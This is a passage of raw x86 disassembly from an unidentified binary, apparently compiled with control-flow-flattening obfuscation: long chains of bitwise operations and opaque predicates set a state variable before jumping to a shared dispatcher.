mov al, bl
and al, 0xff
mov byte [ebp - 0xe36], al
mov al, byte [ebp - 0xe2c]
and al, cl
mov byte [ebp - 0xe37], al
mov al, ch
and al, 0xff
and dh, cl
mov byte [ebp - 0xe38], al
mov al, byte [ebp - 0xe36]
mov byte [ebp - 0xe39], cl
mov cl, byte [ebp - 0xe37]
or al, cl
mov cl, byte [ebp - 0xe38]
or cl, dh
xor al, cl
or bl, ch
xor bl, 0xff
mov cl, byte [ebp - 0xe39]
or cl, 1
and bl, cl
or al, bl
mov cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0xe35]
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bl, cl
and bl, 0xff
and bh, dh
mov byte [ebp - 0xe3a], al
mov al, ch
and al, 0xff
mov byte [ebp - 0xe3b], al
mov al, byte [ebp - 0xe35]
and al, dh
or bl, bh
mov bh, byte [ebp - 0xe3b]
or bh, al
xor bl, bh
or cl, ch
xor cl, 0xff
or dh, 1
and cl, dh
or bl, cl
mov al, byte [ebp - 0xe3a]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0xe3a]
and ch, cl
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, cl
or al, ch
or dh, bl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov dh, ah
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or cl, dh
or bl, ch
xor cl, bl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bl, al
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0xe3c], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or al, bl
or bh, 0
xor al, 0xff
and al, bh
mov bl, dh
xor bl, 0xff
mov bh, ah
xor bh, bl
and bh, ah
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov byte [ebp - 0xe3d], al
mov al, dl
xor al, 0
or ah, bl
or al, 0
xor ah, 0xff
and ah, al
mov al, dh
xor al, 0xff
mov bl, byte [ebp - 0xe3c]
xor bl, al
mov al, byte [ebp - 0xe3c]
and bl, al
mov al, byte [ebp - 0xe3d]
and al, bh
mov byte [ebp - 0xe3e], al
mov al, byte [ebp - 0xe3d]
xor al, bh
mov bh, byte [ebp - 0xe3e]
or bh, al
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, bh
xor ah, 0xff
mov bl, al
and bl, ah
xor al, 0xff
and bh, al
or bl, bh
mov al, cl
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0xe3f], al
and al, 0
and cl, bh
mov byte [ebp - 0xe40], al
mov al, ah
and al, 0
and ch, bh
mov byte [ebp - 0xe41], al
mov al, byte [ebp - 0xe40]
or al, cl
mov cl, byte [ebp - 0xe41]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0xe3f]
or cl, ah
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dh
and al, 1
xor dh, 1
or al, dh
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, bl
xor al, 0xff
mov cl, ah
xor cl, 0xff
xor dl, 1
mov ch, al
and ch, 0xff
and bl, dl
mov dh, cl
and dh, 0xff
and ah, dl
or ch, bl
or dh, ah
xor ch, dh
or al, cl
xor al, 0xff
or dl, 1
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0xe28]
mov edi, dword [ebp - 0xe34]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0xaad1dff7
mov ecx, 0x6355b2aa
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0xeb4], eax
mov eax, esi
sub eax, edi
mov dword [ebp - 0xeb8], eax
mov eax, esi
sub eax, 0xd09544
mov dword [ebp - 0xebc], eax
mov eax, dword [ebp - 0xeb8]
mov dword [ebp - 0xec0], ecx
mov ecx, dword [ebp - 0xebc]
add eax, ecx
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x917ba8f2
sub ecx, eax
mov eax, esi
sub eax, 0xd09544
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0xc3b76171
add eax, ecx
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 1
add ecx, eax
sub ecx, 0xc3ccd77d
sub ecx, 0xc3b76171
add ecx, 0xc3ccd77d
sub esi, 0x1690eb0f
add ecx, esi
sub ecx, 0xac9dc777
sub ecx, 0x917ba8f2
add ecx, 0xac9dc777
sub ecx, 0xbc8fa489
add ecx, 0x1690eb0f
add ecx, 0xbc8fa489
imul edi, ecx
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
mov bl, ah
xor bl, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xec1], al
mov al, dl
xor al, 1
mov byte [ebp - 0xec2], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xec3], al
mov al, byte [ebp - 0xec2]
and ah, al
mov al, bh
and al, 0xff
mov byte [ebp - 0xec4], al
mov al, byte [ebp - 0xec2]
and cl, al
mov al, byte [ebp - 0xec3]
or al, ah
mov ah, byte [ebp - 0xec4]
or ah, cl
xor al, ah
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0xec2]
or cl, 1
and bl, cl
or al, bl
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and al, ch
or ah, al
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
or cl, ch
mov ah, byte [ebp - 0xec1]
xor ah, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, byte [ebp - 0xec1]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0xec1]
and bl, ch
or cl, bl
xor dh, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 1
or dh, cl
or ch, 1
xor dh, 0xff
and dh, ch
mov cl, ah
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
and ah, bl
mov byte [ebp - 0xec5], al
mov al, ch
and al, 0
and dh, bl
or bh, ah
or al, dh
xor bh, al
or cl, ch
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, bh
xor al, 0xff
mov cl, byte [ebp - 0xec5]
xor cl, al
mov al, byte [ebp - 0xec5]
and cl, al
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0xec5]
and ch, ah
mov dh, bh
xor dh, 0xff
and dh, 0xff
and bh, ah
or al, ch
or dh, bh
xor al, dh
mov ah, cl
xor ah, 0xff
mov ch, al
xor ch, 0xff
xor dl, 1
mov dh, ah
and dh, 0xff
and cl, dl
mov bl, ch
and bl, 0xff
and al, dl
or dh, cl
or bl, al
xor dh, bl
or ah, ch
xor ah, 0xff
or dl, 1
and ah, dl
or dh, ah
test dh, 1
mov esi, dword [ebp - 0xeb4]
mov edi, dword [ebp - 0xec0]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov dword [ebp - 0xa8], 0x9d05df66
jmp 0x45c869
mov eax, 0x39055125
mov ecx, 0x312cebfa
mov dl, 1
xor esi, esi
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x141c], eax
mov eax, esi
sub eax, edi
add eax, 0
mov dword [ebp - 0x1420], eax
mov eax, esi
sub eax, 0x8ce50f53
sub eax, 0x14206cca
add eax, 0x8ce50f53
mov dword [ebp - 0x1424], eax
mov eax, esi
mov dword [ebp - 0x1428], ecx
mov ecx, dword [ebp - 0x1424]
sub eax, ecx
mov ecx, dword [ebp - 0x1420]
sub ecx, eax
mov eax, esi
sub eax, 0x5286e17f
sub eax, ecx
add eax, 0x5286e17f
sub esi, 1
add esi, 0
add eax, 0x266a8a4d
add eax, esi
sub eax, 0x266a8a4d
sub eax, 0xf2f67b13
add eax, 0xd4efff14
add eax, 0xf2f67b13
sub eax, 0xe56b2b4e
sub eax, 0x14206cca
add eax, 0xe56b2b4e
add eax, 0x2e9ab10e
sub eax, 0xd4efff14
sub eax, 0x2e9ab10e
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
xor ah, 0xff
xor ah, 0
and ah, 0
mov cl, dl
xor cl, 0
and cl, 1
mov ch, dl
xor ch, 1
and ch, 0
or cl, ch
mov ch, cl
xor ch, 0xff
mov bl, dh
xor bl, ch
and bl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1429], al
mov al, bh
and al, 1
mov byte [ebp - 0x142a], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x142b], al
mov al, byte [ebp - 0x142a]
or ch, al
mov al, byte [ebp - 0x142b]
or al, bh
xor ch, al
xor ch, 0xff
mov al, dl
xor al, 0
mov bh, dl
xor bh, 0
or ch, al
or bh, 0
xor ch, 0xff
and ch, bh
mov al, dl
xor al, 1
xor cl, 0xff
mov bh, dl
xor bh, 0
or al, cl
or bh, 0
xor al, 0xff
and al, bh
mov cl, ah
xor cl, 0xff
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x142c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x142d], al
mov al, cl
and al, 0
mov byte [ebp - 0x142e], al
mov al, byte [ebp - 0x142d]
and ah, al
mov al, bh
and al, 0
mov byte [ebp - 0x142f], al
mov al, byte [ebp - 0x142d]
and bl, al
mov al, byte [ebp - 0x142e]
or al, ah
mov ah, byte [ebp - 0x142f]
or ah, bl
xor al, ah
or cl, bh
xor cl, 0xff
mov ah, byte [ebp - 0x142d]
or ah, 0
and cl, ah
or al, cl
mov cl, ch
mov ah, byte [ebp - 0x142c]
and cl, ah
xor ch, ah
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov bl, dl
xor bl, 0
and al, bl
mov bh, cl
xor bh, 0xff
and bh, 0
and cl, bl
or ch, al
or bh, cl
xor ch, bh
mov al, byte [ebp - 0x1429]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bl, byte [ebp - 0x1429]
and bl, cl
mov bh, dl
xor bh, 1
and bh, 0xff
and cl, 1
or al, bl
or bh, cl
xor al, bh
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
and bl, 1
or cl, bl
xor cl, 0xff
mov bl, byte [ebp - 0x1429]
xor bl, cl
mov cl, byte [ebp - 0x1429]
and bl, cl
mov bh, al
xor bh, 0xff
mov cl, bl
xor cl, 0xff
mov ah, dl
xor ah, 1
mov byte [ebp - 0x1430], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x1431], al
mov al, byte [ebp - 0x1430]
and al, ah
mov byte [ebp - 0x1432], al
mov al, cl
and al, 0xff
and bl, ah
mov byte [ebp - 0x1433], al
mov al, byte [ebp - 0x1431]
mov byte [ebp - 0x1434], cl
mov cl, byte [ebp - 0x1432]
or al, cl
mov cl, byte [ebp - 0x1433]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x1434]
or bh, cl
xor bh, 0xff
or ah, 1
and bh, ah
or al, bh
mov ah, dl
xor ah, 1
and ah, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov cl, dl
xor cl, 1
and cl, 0
and bl, 1
or ah, bh
or cl, bl
xor ah, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov bl, dl
xor bl, 1
and bl, 1
or cl, bl
mov bl, dl
xor bl, 1
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x1435], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1436], al
xor al, bh
mov bh, byte [ebp - 0x1436]
and al, bh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x1437], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x1438], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1439], al
mov al, bh
and al, 0
mov byte [ebp - 0x143a], al
mov al, byte [ebp - 0x1439]
and ah, al
mov al, byte [ebp - 0x1438]
and al, 0
mov byte [ebp - 0x143b], al
mov al, byte [ebp - 0x1439]
and bl, al
mov al, byte [ebp - 0x143a]
or al, ah
mov ah, byte [ebp - 0x143b]
or ah, bl
xor al, ah
mov ah, byte [ebp - 0x1438]
or bh, ah
xor bh, 0xff
mov bl, byte [ebp - 0x1439]
or bl, 0
and bh, bl
or al, bh
mov bl, byte [ebp - 0x1437]
and bl, cl
mov bh, byte [ebp - 0x1437]
xor bh, cl
or bl, bh
mov cl, al
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
and al, bh
mov ah, bl
xor ah, 0xff
and ah, 0xff
and bl, bh
or cl, al
or ah, bl
xor cl, ah
mov al, ch
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov bl, ch
and bl, ah
or al, bl
mov ah, dl
xor ah, 1
and ah, 1
mov bl, dl
xor bl, 1
and bl, 1
or ah, bl
mov bl, dl
xor bl, 0
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x143c], al
mov al, bh
and al, 0
mov byte [ebp - 0x143d], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x143e], al
mov al, byte [ebp - 0x143d]
or bl, al
mov al, byte [ebp - 0x143e]
or al, bh
xor bl, al
mov al, byte [ebp - 0x143c]
and al, ah
mov bh, byte [ebp - 0x143c]
xor bh, ah
or al, bh
mov ah, bl
and ah, 0
xor bl, 0
or ah, bl
mov bl, al
xor bl, 0xff
and bl, 0
mov bh, dl
xor bh, 0
and al, bh
mov byte [ebp - 0x143f], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x1440], al
mov al, byte [ebp - 0x143f]
or bl, al
mov al, byte [ebp - 0x1440]
or al, bh
xor bl, al
xor bl, 0xff
xor ah, 0xff
mov al, dl
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov bh, cl
and bh, ah
mov byte [ebp - 0x1441], al
mov al, dl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x1442], al
mov al, byte [ebp - 0x1441]
or al, bh
mov bh, byte [ebp - 0x1442]
or bh, ah
xor al, bh
mov ah, dh
xor ah, 0xff
mov bh, al
and bh, ah
xor al, 0xff
mov ah, dh
and ah, al
or bh, ah
xor dh, 0xff
mov al, bh
xor al, dh
and al, bh
mov ah, byte [ebp - 0x1435]
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x1435]
and bh, dh
mov byte [ebp - 0x1443], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or ah, bh
or al, dh
xor ah, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, dl
xor dh, 0
and dh, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1444], al
mov al, bh
and al, 0
mov byte [ebp - 0x1445], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x1446], al
mov al, byte [ebp - 0x1445]
or dh, al
mov al, byte [ebp - 0x1446]
or al, bh
xor dh, al
mov al, ah
mov bh, byte [ebp - 0x1444]
and al, bh
xor ah, bh
or al, ah
mov ah, dl
xor ah, 0
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x1447], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1448], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1449], al
mov al, byte [ebp - 0x1448]
and al, 0
mov byte [ebp - 0x144a], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x144b], al
mov al, byte [ebp - 0x1448]
and dh, al
mov al, byte [ebp - 0x1449]
mov byte [ebp - 0x144c], cl
mov cl, byte [ebp - 0x144a]
or al, cl
mov cl, byte [ebp - 0x144b]
or cl, dh
xor al, cl
or ah, bh
xor ah, 0xff
mov cl, byte [ebp - 0x1448]
or cl, 1
and ah, cl
or al, ah
mov cl, byte [ebp - 0x1447]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x1447]
and dh, ah
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or cl, dh
or bh, ah
xor cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, byte [ebp - 0x144c]
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov dh, byte [ebp - 0x144c]
and dh, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or al, dh
or bh, ah
xor al, bh
mov ah, byte [ebp - 0x1429]
xor ah, 0xff
mov dh, al
and dh, ah
xor al, 0xff
mov ah, byte [ebp - 0x1429]
and ah, al
or dh, ah
mov al, byte [ebp - 0x1429]
xor al, 0xff
mov ah, dh
xor ah, al
and ah, dh
mov al, bl
xor al, 0xff
mov dh, byte [ebp - 0x1443]
xor dh, 0xff
mov bh, dl
xor bh, 1
or al, dh
or bh, 1
xor al, 0xff
and al, bh
mov dh, bl
xor dh, 0xff
mov bh, byte [ebp - 0x1443]
and bh, dh
mov dh, byte [ebp - 0x1443]
xor dh, 0xff
and bl, dh
or bh, bl
mov dh, al
xor dh, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x144d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x144e], al
mov al, dh
and al, 0
mov byte [ebp - 0x144f], al
mov al, byte [ebp - 0x144d]
mov byte [ebp - 0x1450], cl
mov cl, byte [ebp - 0x144e]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x1451], al
mov al, byte [ebp - 0x144e]
and bh, al
mov al, byte [ebp - 0x144f]
mov byte [ebp - 0x1452], cl
mov cl, byte [ebp - 0x1451]
or al, cl
mov cl, byte [ebp - 0x1452]
or cl, bh
xor al, cl
or dh, bl
xor dh, 0xff
mov cl, byte [ebp - 0x144e]
or cl, 0
and dh, cl
or al, dh
mov cl, byte [ebp - 0x1450]
xor cl, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
or cl, dh
or bl, 1
xor cl, 0xff
and cl, bl
mov dh, byte [ebp - 0x1450]
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x1450]
and bh, bl
mov byte [ebp - 0x1453], al
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
or dh, bh
or al, ah
xor dh, al
mov al, cl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
and cl, bl
mov byte [ebp - 0x1454], al
mov al, ah
and al, 0
and dh, bl
or bh, cl
or al, dh
xor bh, al
mov al, byte [ebp - 0x1454]
or al, ah
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, byte [ebp - 0x1453]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x1453]
and ah, cl
or al, ah
mov cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
mov dh, dl
xor dh, 1
and dh, 0xff
and ah, 1
or al, bh
or dh, ah
xor al, dh
xor al, 0xff
mov ah, byte [ebp - 0x1453]
xor ah, al
mov al, byte [ebp - 0x1453]
and ah, al
mov dh, cl
xor dh, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
mov al, dh
and al, 0xff
and cl, bh
mov byte [ebp - 0x1455], al
mov al, bl
and al, 0xff
and ah, bh
mov byte [ebp - 0x1456], al
mov al, byte [ebp - 0x1455]
or al, cl
mov cl, byte [ebp - 0x1456]
or cl, ah
xor al, cl
or dh, bl
xor dh, 0xff
or bh, 1
and dh, bh
or al, dh
mov cl, ch
xor cl, 0xff
mov ah, byte [ebp - 0x1435]
xor ah, 0xff
mov dh, dl
xor dh, 1
or cl, ah
or dh, 1
xor cl, 0xff
and cl, dh
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and ch, dh
mov bl, byte [ebp - 0x1435]
xor bl, 0xff
and bl, 0xff
mov bh, byte [ebp - 0x1435]
and bh, dh
or ah, ch
or bl, bh
xor ah, bl
mov ch, cl
and ch, ah
xor cl, ah
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, ch
and dh, ah
or cl, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov dh, dl
xor dh, 1
and dh, 1
or ah, dh
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
or ch, dh
or bl, 1
xor ch, 0xff
and ch, bl
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
and bl, 1
or dh, bl
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or dh, bl
or bh, 0
xor dh, 0xff
and dh, bh
mov bl, dl
xor bl, 1
xor ah, 0xff
mov bh, dl
xor bh, 1
or bl, ah
or bh, 1
xor bl, 0xff
and bl, bh
mov ah, cl
xor ah, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1457], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1458], al
mov al, ah
and al, 0
mov byte [ebp - 0x1459], al
mov al, byte [ebp - 0x1458]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x145a], al
mov al, byte [ebp - 0x1458]
and ch, al
mov al, byte [ebp - 0x1459]
or al, cl
mov cl, byte [ebp - 0x145a]
or cl, ch
xor al, cl
or ah, bh
xor ah, 0xff
mov cl, byte [ebp - 0x1458]
or cl, 0
and ah, cl
or al, ah
mov cl, dh
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov ch, dl
xor ch, 1
mov bh, cl
and bh, 0xff
and dh, ch
mov byte [ebp - 0x145b], al
mov al, ah
and al, 0xff
and bl, ch
or bh, dh
or al, bl
xor bh, al
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or bh, cl
mov al, byte [ebp - 0x145b]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x145b]
and ah, cl
mov ch, bh
xor ch, 0xff
and ch, 0
and bh, cl
or al, ah
or ch, bh
xor al, ch
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x144c]
xor ah, 0xff
mov ch, dl
xor ch, 0
or cl, ah
or ch, 0
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
mov dh, ch
and dh, 1
mov bl, byte [ebp - 0x144c]
xor bl, 0xff
and bl, 0xff
mov bh, byte [ebp - 0x144c]
and bh, ch
or ah, dh
or bl, bh
xor ah, bl
mov ch, cl
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, ch
and bh, 0
and cl, bl
mov byte [ebp - 0x145c], al
mov al, dh
and al, 0
and ah, bl
or bh, cl
or al, ah
xor bh, al
or ch, dh
xor ch, 0xff
or bl, 0
and ch, bl
or bh, ch
mov al, byte [ebp - 0x145c]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x145c]
and ah, cl
or al, ah
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and bh, ah
or cl, bh
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, al
xor ch, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, ch
and bh, 0
and al, bl
mov byte [ebp - 0x145d], al
mov al, dh
and al, 0
and cl, bl
mov byte [ebp - 0x145e], al
mov al, byte [ebp - 0x145d]
or bh, al
mov al, byte [ebp - 0x145e]
or al, cl
xor bh, al
or ch, dh
xor ch, 0xff
or bl, 0
and ch, bl
or bh, ch
mov al, ah
and al, 1
xor ah, 1
or al, ah
mov cl, bh
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and bh, ah
mov ch, dl
xor ch, 1
and ch, 0
and ah, 1
or cl, bh
or ch, ah
xor cl, ch
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, byte [ebp - 0x1457]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x1457]
and ch, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ch
or dh, cl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or cl, dh
or bl, ch
xor cl, bl
mov ch, dl
xor ch, 1
and ch, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
mov bh, byte [ebp - 0x1457]
xor bh, dh
mov dh, byte [ebp - 0x1457]
and bh, dh
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x145f], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1460], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1461], al
mov al, byte [ebp - 0x1460]
or dh, al
mov al, byte [ebp - 0x1461]
or al, 1
xor dh, 0xff
and dh, al
xor ah, 0xff
mov al, ch
xor al, 0xff
mov byte [ebp - 0x1462], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1463], al
mov al, byte [ebp - 0x1462]
or ah, al
mov al, byte [ebp - 0x1463]
or al, 1
xor ah, 0xff
and ah, al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x1464], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x1465], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1466], al
mov al, byte [ebp - 0x1464]
and al, 0
mov byte [ebp - 0x1467], al
mov al, byte [ebp - 0x1466]
and bl, al
mov al, byte [ebp - 0x1465]
and al, 0
mov byte [ebp - 0x1468], al
mov al, byte [ebp - 0x1466]
and bh, al
mov al, byte [ebp - 0x1467]
or al, bl
mov bl, byte [ebp - 0x1468]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0x1464]
mov bh, byte [ebp - 0x1465]
or bl, bh
xor bl, 0xff
mov bh, byte [ebp - 0x1466]
or bh, 0
and bl, bh
or al, bl
mov bl, dh
and bl, ah
xor dh, ah
or bl, dh
mov ah, al
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
and al, dh
mov bh, bl
xor bh, 0xff
and bh, 0
and bl, dh
or ah, al
or bh, bl
xor ah, bh
mov al, byte [ebp - 0x145f]
xor al, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x1469], al
mov al, byte [ebp - 0x145f]
and al, bl
mov byte [ebp - 0x146a], al
mov al, dh
and al, 0
and cl, bl
mov byte [ebp - 0x146b], al
mov al, byte [ebp - 0x146a]
or bh, al
mov al, byte [ebp - 0x146b]
or al, cl
xor bh, al
mov al, byte [ebp - 0x1469]
or al, dh
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
or al, bh
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
xor al, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
mov cl, ah
xor cl, 0xff
mov ch, al
xor ch, 0xff
xor dl, 1
mov dh, cl
and dh, 0xff
and ah, dl
mov bl, ch
and bl, 0xff
and al, dl
or dh, ah
or bl, al
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 1
and cl, dl
or dh, cl
test dh, 1
mov esi, dword [ebp - 0x141c]
mov edi, dword [ebp - 0x1428]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x9378ef66
mov ecx, 0xa675d1bd
